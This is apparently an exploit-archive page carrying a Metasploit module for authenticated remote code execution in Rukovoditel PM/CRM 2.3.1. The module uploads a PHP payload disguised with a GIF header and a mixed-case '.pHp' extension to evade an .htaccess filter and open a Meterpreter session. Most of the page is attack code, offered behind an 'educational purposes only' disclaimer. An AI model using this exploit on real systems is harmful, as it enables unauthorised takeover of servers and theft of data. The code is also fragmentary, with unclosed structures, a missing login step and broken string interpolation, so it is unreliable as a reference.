Exploits / Vulnerability Discovered : 2018-12-19 |
Type : webapps |
Platform : php
This exploit / vulnerability Rukovoditel project management crm 2.3.1 remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize
super(
'Name' => 'Rukovoditel Project Management/CRM 2.3.1 -
(Authenticated) Remote Code Execution',
'Description' => %q{
This module exploits a file upload vulnerability in Rukovoditel
PM/CRM version 2.3.1.
Application allows the user to upload a background image, and does
not perform extension checking exactly.
Application agrees to upload if "gif" file header is added to the
header of our payload file.
However, many file types do not have permission to work.
".htaccess" is blocking that.
it has file extension check as follows,
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
There is no upper and lower case control. Therefore, the extension
of our file can be .pHp .Php .PhP and such.
The module is uploading by create a payload as above to get
Meterpreter session.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf
Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', '
https://pentest.com.tr/exploits/Rukovoditel-Project-Management-CRM-2-3-1-Authenticated-Remote-Code-Execution.html'],
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to i-doit',
'/']),
OptString.new('USER', [true, 'User to login with', 'admin']),
OptString.new('PASS', [true, 'Password to login with',
'password']),
], self.class)
end
##
# Exploitation of Vulnerability
##
def exploit
html = tok.body
if html =~ /Rukovoditel/
print_good("Login Successful")
else
print_status("User information is incorrect. Login failed")
exit 0
end
##
# Arbitrary ".pHp" file upload
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data = "-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data;
name=\"form_session_token\"\r\n"
data << "\r\n"
data << "{token}"
data << "\r\n-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_HEADING]\"\r\n"
data <<
"\r\nPage-Heading\r\n-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_CONTENT]\"\r\n"
data << "\r\nPage-Desc\r\n-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data;
name=\"APP_LOGIN_PAGE_BACKGROUND\"; filename=\"akkus.pHp\"\r\n"
data << "Content-Type: binary/octet-stream\r\n"
data << "\r\n"
data << "GIF89a;\n<html>\n"
data << "\n</html>\n"
data << payload.encoded
data << "\r\n-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data;
name=\"CFG[APP_LOGIN_PAGE_BACKGROUND]\"\r\n"
data << "\r\n{upload_name}\r\n"
data << "-----------------------------{boundary}\r\n"
data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_HIDE_REMEMBER_ME]\"\r\n"
data << "\r\n0\r\n-----------------------------{boundary}--\r\n"